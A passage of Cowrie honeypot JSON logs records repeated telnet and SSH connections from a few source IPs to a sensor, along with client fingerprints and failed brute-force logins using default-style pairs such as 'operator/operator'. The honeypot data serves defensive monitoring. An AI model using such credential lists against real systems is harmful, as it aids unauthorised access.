0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.677666Z","src_ip":"176.65.139.103","session":"a9f271f29426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":50952,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0208a99234","protocol":"telnet","message":"New connection: 117.120.7.112:50952 (159.203.135.109:23) [session: fc0208a99234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.747218Z"}
{"eventid":"cowrie.session.closed","duration":31.8229398727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.756349Z","src_ip":"117.120.7.112","session":"fe64a745e92e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.715556621551514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.872449Z","src_ip":"117.120.7.112","session":"248497891b54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653993844985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:28.937303Z","src_ip":"185.111.235.80","session":"69062310e8ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22455143928528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.034168Z","src_ip":"117.120.7.112","session":"2884fa98623f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37160849571228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.106092Z","src_ip":"117.120.7.112","session":"b4302173621b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.381802Z","src_ip":"176.65.139.103","session":"a9f271f29426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52920,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8bd6cac6c7d","protocol":"telnet","message":"New connection: 117.120.7.112:52920 (159.203.135.109:23) [session: f8bd6cac6c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.442813Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56032,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f5c0b6ceb5","protocol":"telnet","message":"New connection: 185.111.235.80:56032 (10.17.0.5:23) [session: 01f5c0b6ceb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.615680Z"}
{"eventid":"cowrie.session.closed","duration":30.87347960472107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:29.999511Z","src_ip":"185.111.235.80","session":"59a6f8dd5242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642425537109375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.141027Z","src_ip":"185.111.235.80","session":"4bbab4886a90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.468099Z","src_ip":"176.65.139.103","session":"a9f271f29426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91264820098877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.543239Z","src_ip":"117.120.7.112","session":"301e6a6cacf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53392,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe491eea7eb2","protocol":"telnet","message":"New connection: 117.120.7.112:53392 (159.203.135.109:23) [session: fe491eea7eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.609472Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55542,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c98855f074c","protocol":"telnet","message":"New connection: 117.120.7.112:55542 (159.203.135.109:23) [session: 9c98855f074c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.626962Z"}
{"eventid":"cowrie.session.closed","duration":30.842380046844482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:30.915737Z","src_ip":"185.111.235.80","session":"e7f799f8c9d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69368839263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:31.132455Z","src_ip":"117.120.7.112","session":"4d662349b66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417920112609863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:31.157560Z","src_ip":"185.111.235.80","session":"879e23c0d078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56702,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b32b194b414","protocol":"telnet","message":"New connection: 117.120.7.112:56702 (159.203.135.109:23) [session: 3b32b194b414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:31.986748Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b55109c7104","protocol":"telnet","message":"New connection: 185.111.235.80:39102 (10.17.0.5:23) [session: 9b55109c7104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.019515Z"}
{"eventid":"cowrie.session.closed","duration":30.55569338798523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.062034Z","src_ip":"117.120.7.112","session":"e70c94301084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40308,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2e39b7d1b3","protocol":"telnet","message":"New connection: 185.111.235.80:40308 (10.17.0.5:23) [session: 3f2e39b7d1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.229591Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60524,"dst_ip":"159.203.135.109","dst_port":23,"session":"5287e4284b78","protocol":"telnet","message":"New connection: 117.120.7.112:60524 (159.203.135.109:23) [session: 5287e4284b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.499819Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d598f0b66834","protocol":"telnet","message":"New connection: 117.120.7.112:33134 (159.203.135.109:23) [session: d598f0b66834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.829710Z"}
{"eventid":"cowrie.session.closed","duration":30.826294422149658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:32.884435Z","src_ip":"185.111.235.80","session":"26aa9c4aa169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295421600341797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:33.312232Z","src_ip":"117.120.7.112","session":"465c6c6f5574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.350656747817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:33.929659Z","src_ip":"185.111.235.80","session":"0d6d0a9cd075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48822,"dst_ip":"10.17.0.5","dst_port":23,"session":"775f37f6192d","protocol":"telnet","message":"New connection: 185.111.235.80:48822 (10.17.0.5:23) [session: 775f37f6192d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.039036Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44468,"dst_ip":"10.17.0.5","dst_port":23,"session":"c77d87bea5ce","protocol":"telnet","message":"New connection: 185.111.235.80:44468 (10.17.0.5:23) [session: c77d87bea5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.112662Z"}
{"eventid":"cowrie.session.closed","duration":30.526854038238525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.173867Z","src_ip":"117.120.7.112","session":"90b8aa43d88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10585927963257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.221736Z","src_ip":"117.120.7.112","session":"26a2c69f5da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b6af9abca5","protocol":"telnet","message":"New connection: 117.120.7.112:36610 (159.203.135.109:23) [session: 00b6af9abca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.417220Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52954,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2e62046900b","protocol":"telnet","message":"New connection: 185.111.235.80:52954 (10.17.0.5:23) [session: b2e62046900b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.876316Z"}
{"eventid":"cowrie.session.closed","duration":30.760510683059692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:34.954279Z","src_ip":"185.111.235.80","session":"99d39b315797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24860382080078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.017895Z","src_ip":"117.120.7.112","session":"e5b03a5a12ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879114151000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.023416Z","src_ip":"185.111.235.80","session":"a55a762583dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41166,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90ed6e72c95","protocol":"ssh","message":"New connection: 176.65.139.103:41166 (10.17.0.5:22) [session: a90ed6e72c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.180511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.201092Z","src_ip":"176.65.139.103","session":"a90ed6e72c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.293156Z","src_ip":"176.65.139.103","session":"a90ed6e72c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cd01fd375d","protocol":"telnet","message":"New connection: 117.120.7.112:39220 (159.203.135.109:23) [session: d2cd01fd375d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.513497Z"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.607080Z","src_ip":"176.65.139.103","session":"a90ed6e72c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a755f2c4de3","protocol":"telnet","message":"New connection: 117.120.7.112:39834 (159.203.135.109:23) [session: 6a755f2c4de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:35.753060Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7661218115c6","protocol":"telnet","message":"New connection: 117.120.7.112:41392 (159.203.135.109:23) [session: 7661218115c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:36.358807Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:36.695552Z","src_ip":"176.65.139.103","session":"a90ed6e72c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44317650794983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:37.040915Z","src_ip":"117.120.7.112","session":"f1cd49396d35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90119242668152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:37.137133Z","src_ip":"117.120.7.112","session":"add8bb9b19cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723254919052124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:37.878240Z","src_ip":"185.111.235.80","session":"13954ba48d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35412,"dst_ip":"10.17.0.5","dst_port":23,"session":"2151b21bc746","protocol":"telnet","message":"New connection: 185.111.235.80:35412 (10.17.0.5:23) [session: 2151b21bc746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:38.057441Z"}
{"eventid":"cowrie.session.closed","duration":30.454535245895386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:38.082859Z","src_ip":"185.111.235.80","session":"9214c21ba97c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956321954727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:38.103113Z","src_ip":"185.111.235.80","session":"673f0c068127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65713381767273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:38.935158Z","src_ip":"185.111.235.80","session":"88fa6d306b4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47702,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe0bd82c79b2","protocol":"telnet","message":"New connection: 117.120.7.112:47702 (159.203.135.109:23) [session: fe0bd82c79b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:38.964126Z"}
{"eventid":"cowrie.session.closed","duration":30.991211414337158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.021300Z","src_ip":"185.111.235.80","session":"b266a7b62b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46006,"dst_ip":"10.17.0.5","dst_port":23,"session":"899e51937525","protocol":"telnet","message":"New connection: 185.111.235.80:46006 (10.17.0.5:23) [session: 899e51937525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.148013Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c62a9ba571","protocol":"telnet","message":"New connection: 185.111.235.80:47086 (10.17.0.5:23) [session: c7c62a9ba571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.340533Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f429a389c41","protocol":"telnet","message":"New connection: 117.120.7.112:41884 (159.203.135.109:23) [session: 0f429a389c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.564065Z"}
{"eventid":"cowrie.session.closed","duration":30.143848419189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.882877Z","src_ip":"185.111.235.80","session":"c995548563cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49898,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b712d0dbfd","protocol":"telnet","message":"New connection: 185.111.235.80:49898 (10.17.0.5:23) [session: 64b712d0dbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:39.948853Z"}
{"eventid":"cowrie.session.closed","duration":31.073636054992676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.135272Z","src_ip":"185.111.235.80","session":"b79386e8ce0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991507291793823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.211765Z","src_ip":"117.120.7.112","session":"88cf3170b110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c3b8363577","protocol":"telnet","message":"New connection: 117.120.7.112:51056 (159.203.135.109:23) [session: 34c3b8363577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.430102Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51860,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf67a3edc5d5","protocol":"telnet","message":"New connection: 117.120.7.112:51860 (159.203.135.109:23) [session: cf67a3edc5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.660338Z"}
{"eventid":"cowrie.session.closed","duration":30.419881105422974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.896904Z","src_ip":"185.111.235.80","session":"d6276aab72eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49900,"dst_ip":"10.17.0.5","dst_port":23,"session":"f838dafd1503","protocol":"telnet","message":"New connection: 185.111.235.80:49900 (10.17.0.5:23) [session: f838dafd1503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.950815Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c23f003f0f","protocol":"telnet","message":"New connection: 117.120.7.112:52672 (159.203.135.109:23) [session: f4c23f003f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:40.984287Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b145c21cc6f0","protocol":"telnet","message":"New connection: 117.120.7.112:52804 (159.203.135.109:23) [session: b145c21cc6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.029386Z"}
{"eventid":"cowrie.session.closed","duration":30.576648950576782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.068421Z","src_ip":"117.120.7.112","session":"74057425bfe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41192,"dst_ip":"10.17.0.5","dst_port":22,"session":"1831ba5ac41b","protocol":"ssh","message":"New connection: 176.65.139.103:41192 (10.17.0.5:22) [session: 1831ba5ac41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.270021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.277155Z","src_ip":"176.65.139.103","session":"1831ba5ac41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.355974Z","src_ip":"176.65.139.103","session":"1831ba5ac41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7330cc2188","protocol":"telnet","message":"New connection: 185.111.235.80:57832 (10.17.0.5:23) [session: 7e7330cc2188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.415032Z"}
{"eventid":"cowrie.session.closed","duration":31.44242000579834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.426996Z","src_ip":"117.120.7.112","session":"2e5e603e85a8","protocol":"telnet"}
